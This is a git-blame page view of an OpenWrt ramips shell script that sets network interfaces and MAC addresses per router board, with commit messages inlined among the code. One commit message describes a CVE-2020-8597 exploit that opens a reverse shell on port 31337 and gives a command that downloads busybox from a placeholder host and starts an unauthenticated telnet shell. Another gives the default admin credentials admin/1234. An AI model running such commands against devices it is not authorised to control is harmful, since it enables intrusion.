You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

129 lines
2.9 KiB
Plaintext

#!/bin/sh
. /lib/functions.sh
. /lib/functions/uci-defaults.sh
. /lib/functions/system.sh
ramips_setup_interfaces()
{
local board="$1"
case $board in
asiarf,ap7621-001)
ucidef_set_interfaces_lan_wan "lan" "wan"
;;
asiarf,ap7621-nv1|\
lenovo,newifi-d1|\
mikrotik,routerboard-m33g|\
xiaomi,mir3g|\
xiaomi,mir3g-v2)
ucidef_set_interfaces_lan_wan "lan1 lan2" "wan"
;;
ramips: add support for Edimax Gemini RE23S Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 128MB FLASH: 16MB NOR (Macronix MX25L12805D) ETH: 1x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615 (4x4:4) - 5GHz: 1x MT7615 (4x4:4) - 4 antennas: 2 external detachable and 2 internal BTN: - 1x Reset button - 1x WPS button LEDS: - 1x Green led (Power) - 1x Green-Amber-Red led (Wifi) UART: - 57600-8-N-1 Everything works correctly. Installation ------------ Flash the factory image directly from OEM web interface. (You can login using these credentials: admin/1234) Restore OEM Firmware -------------------- Flash the OEM "bin" firmware directly from LUCI. The firmware is downloadable from the OEM web page. Warning: Remember to not keep settings! Warning2: Remember to force the flash. Restoring procedure tested with RE23_1.08.bin MAC addresses ------------- factory 0x4 *:24 factory 0x8004 *:25 Cimage 0x07 *:24 Cimage 0x0D *:24 Cimage 0x13 *:24 Cimage 0x19 *:25 No other addresses were found in factory partition. Since the label contains both the 2.4GHz and 5GHz mac address I decided to set the 5GHz one as label-mac-device. Moreover it also corresponds to the lan mac address. Notes ----- The wifi led in the OEM firmware changes colour depending on the signal strength. This can be done in OpenWrt but just for one interface. So for now will not be any default action for this led. If you want to open the case, pay attention to the antenna placed on the bottom part of the front cover. The wire is a bit short and it breaks easily. (I broke it) Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> [fix two typos and add extended MAC address section to commit message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
edimax,re23s|\
mikrotik,routerboard-m11g|\
netgear,ex6150|\
thunder,timecloud|\
tplink,re350-v1|\
tplink,re500-v1|\
tplink,re650-v1|\
ubnt,unifi-nanohd)
ucidef_set_interface_lan "lan"
;;
gehua,ghl-r-001|\
hiwifi,hc5962|\
ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100) Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com>
4 years ago
xiaomi,mir3p|\
xiaomi,redmi-router-ac2100)
ucidef_set_interfaces_lan_wan "lan1 lan2 lan3" "wan"
;;
gnubee,gb-pc1|\
gnubee,gb-pc2)
ucidef_set_interface_lan "lan1 lan2"
;;
linksys,re6500|\
netgear,wac104)
ucidef_set_interface_lan "lan1 lan2 lan3 lan4"
;;
mikrotik,routerboard-750gr3)
ucidef_set_interfaces_lan_wan "lan2 lan3 lan4 lan5" "wan"
;;
ubnt,edgerouter-x)
ramips: erx and erx-sfp: fix missing WAN interface This partially reverts commit 5acd1ed0be0d ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses"), this change was discussed in https://github.com/openwrt/openwrt/pull/2901#discussion_r407238452 With commit 5acd1ed0be0d ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses"), all the ports were put into the LAN bridge, with the argument that the OEM firmware does not have a WAN port enabled. In the default OEM setup, all of the ports except eth0 are dead and eth0 is set to a static IP address without providing DHCP services when connected. It is only after the wizard has been run that eth0 becomes the WAN port and all the rest of the ports belong to LAN with DHCP enabled. Having all of the ports set to the LAN bridge does not mirror the default OEM setup. To accomplish that, then only eth0 would be in the LAN bridge. But this is not the expected behaviour of OpenWrt. Therefore this proposal to set eth0 to WAN and eth1-N to LAN provides the expected behaviour expected from OpenWrt, maintains the current documentation as up-to-date, and does not require the user to manually detach eth0 from the LAN bridge, create the WAN(6) interface(s), and set eth0 to the WAN(6) interface(s). Fixes: 5acd1ed0be0d ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses") Signed-off-by: Perry Melange <isprotejesvalkata@gmail.com> [commit subject and description tweaks] Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
ucidef_set_interface_lan_wan "eth1 eth2 eth3 eth4" "eth0"
;;
ubnt,edgerouter-x-sfp)
ramips: erx and erx-sfp: fix missing WAN interface This partially reverts commit 5acd1ed0be0d ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses"), this change was discussed in https://github.com/openwrt/openwrt/pull/2901#discussion_r407238452 With commit 5acd1ed0be0d ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses"), all the ports were put into the LAN bridge, with the argument that the OEM firmware does not have a WAN port enabled. In the default OEM setup, all of the ports except eth0 are dead and eth0 is set to a static IP address without providing DHCP services when connected. It is only after the wizard has been run that eth0 becomes the WAN port and all the rest of the ports belong to LAN with DHCP enabled. Having all of the ports set to the LAN bridge does not mirror the default OEM setup. To accomplish that, then only eth0 would be in the LAN bridge. But this is not the expected behaviour of OpenWrt. Therefore this proposal to set eth0 to WAN and eth1-N to LAN provides the expected behaviour expected from OpenWrt, maintains the current documentation as up-to-date, and does not require the user to manually detach eth0 from the LAN bridge, create the WAN(6) interface(s), and set eth0 to the WAN(6) interface(s). Fixes: 5acd1ed0be0d ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses") Signed-off-by: Perry Melange <isprotejesvalkata@gmail.com> [commit subject and description tweaks] Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
ucidef_set_interface_lan_wan "eth1 eth2 eth3 eth4 eth5" "eth0"
;;
*)
ucidef_set_interfaces_lan_wan "lan1 lan2 lan3 lan4" "wan"
;;
esac
}
ramips_setup_macs()
{
local board="$1"
local lan_mac=""
local wan_mac=""
local label_mac=""
case $board in
asus,rt-ac65p|\
asus,rt-ac85p)
wan_mac=$(mtd_get_mac_ascii u-boot-env et1macaddr)
label_mac=$(mtd_get_mac_binary factory 0x4)
;;
buffalo,wsr-1166dhp)
local index="$(find_mtd_index "board_data")"
wan_mac="$(grep -m1 mac= "/dev/mtd${index}" | cut -d= -f2)"
lan_mac=$wan_mac
;;
dlink,dir-860l-b1)
lan_mac=$(mtd_get_mac_ascii factory lanmac)
wan_mac=$(mtd_get_mac_ascii factory wanmac)
;;
edimax,ra21s|\
edimax,rg21s)
lan_mac=$(mtd_get_mac_ascii u-boot-env ethaddr)
wan_mac=$(mtd_get_mac_ascii u-boot-env wanaddr)
;;
hiwifi,hc5962)
lan_mac=$(mtd_get_mac_ascii bdinfo "Vfac_mac ")
label_mac=$lan_mac
[ -n "$lan_mac" ] || lan_mac=$(cat /sys/class/net/eth0/address)
wan_mac=$(macaddr_add "$lan_mac" 1)
;;
iodata,wnpr2600g)
wan_mac=$(mtd_get_mac_ascii u-boot-env wanaddr)
label_mac=$wan_mac
;;
ramips: add support for Linksys EA7500 v2 The Linksys EA7500 v2 is advertised as AC1900, but its internal hardware is AC2600 capable. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 256M (Nanya NT5CC128M16IP-DI) FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI) ETH: 5x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615N (4x4:4) - 5GHz: 1x MT7615N (4x4:4) - 4 antennas: 3 external detachable antennas and 1 internal USB: - 1x USB 3.0 - 1x USB 2.0 BTN: - 1x Reset button - 1x WPS button LEDS: - 1x White led (Power) - 6x Green leds (link lan1-lan4, link wan, wps) - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable) Everything works correctly. Installation ------------ The “factory” openwrt image can be flashed directly from OEM stock firmware. After the flash the router will reboot automatically. However, due to the dual boot system, the first installation could fail (if you want to know why, read the footnotes). If the flash succeed and you can reach OpenWrt through the web interface or ssh, you are done. Otherwise the router will try to boot 3 times and then will automatically boot the OEM firmware (don’t turn off the router. Simply wait and try to reach the router through the web interface every now and then, it will take few minutes). After this, you should be back in the OEM firmware. Now you have to flash the OEM Firmware over itself using the OEM web interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img downloaded from the Linksys website). When the router reboots flash the “factory” OpenWrt image and this time it should work. After the OpenWrt installation you have to use the sysupgrade image for future updates. Restore OEM Firmware -------------------- After the OpenWrt flash, the OEM firmware is still stored in the second partition thanks to the dual boot system. You can switch from OpenWrt to OEM firmware and vice-versa failing the boot 3 times in a row: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware If you want to completely remove OpenWrt from your router, switch to the OEM firmware and then flash OEM firmware from the web interface as a normal update. This procedure will overwrite the OpenWrt partition. Footnotes --------- The Linksys EA7500-v2 has a dual boot system to avoid bricks. This system works using 2 pair of partitions: 1) "kernel" and "rootfs" 2) "alt_kernel" and "alt_rootfs". After 3 failed boot attempts, the bootloader tries to boot the other pair of partitions and so on. This system is managed by the bootloader, which writes a bootcount in the s_env partition, and if successfully booted, the system add a "zero-bootcount" after the previous value. A system update performed from OEM firmware, writes the firmware on the other pair of partitions and sets the bootloader to boot the new pair of partitions editing the “boot_part” variable in the bootloader vars. Effectively it's a quick and safe system to switch the selected boot partition. Another way to switch the boot partition is: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware In this OpenWrt port, this dual boot system is partially working because the bootloader sets the right rootfs partition in the cmdline but unfortunately OpenWrt for ramips platform overwrites the cmdline so is not possible to detect the right rootfs partition. Because all of this, I preferred to simply use the first pair of partitions and set read-only the other pair. However this solution is not optimal because is not possible to know without opening the case which is the current booted partition. Let’s take for example a router booting the OEM firmware from the first pair of partitions. If we flash the OpenWrt image, it will be written on the second pair. In this situation the router will bootloop 3 times and then will automatically come back to the first pair of partitions containg the OEM firmware. In this situation, to flash OpenWrt correctly is necessary to switch the booting partition, flashing again the OEM firmware over itself. At this point the OEM firmware is on both pair of partitions but the current booted pair is the second one. Now, flashing the OpenWrt factory image will write the firmware on the first pair and then will boot correctly. If this limitation in the ramips platform about the cmdline will be fixed, the dual boot system can also be implemented in OpenWrt with almost no effort. Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> Co-Developed-by: Jackson Lim <jackcolentern@gmail.com> Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
4 years ago
linksys,ea7500-v2)
lan_mac=$(mtd_get_mac_ascii devinfo hw_mac_addr)
wan_mac=$lan_mac
label_mac=$lan_mac
;;
mikrotik,routerboard-750gr3|\
mikrotik,routerboard-m11g|\
mikrotik,routerboard-m33g)
label_mac=$(cat "/sys/firmware/mikrotik/hard_config/mac_base")
wan_mac=$label_mac
lan_mac=$(macaddr_add $label_mac 1)
;;
zbtlink,zbt-we1326|\
zbtlink,zbt-wg3526-16m|\
zbtlink,zbt-wg3526-32m)
label_mac=$(mtd_get_mac_binary factory 0x4)
;;
esac
[ -n "$lan_mac" ] && ucidef_set_interface_macaddr "lan" $lan_mac
[ -n "$wan_mac" ] && ucidef_set_interface_macaddr "wan" $wan_mac
[ -n "$label_mac" ] && ucidef_set_label_macaddr $label_mac
}
board_config_update
board=$(board_name)
ramips_setup_interfaces $board
ramips_setup_macs $board
board_config_flush
exit 0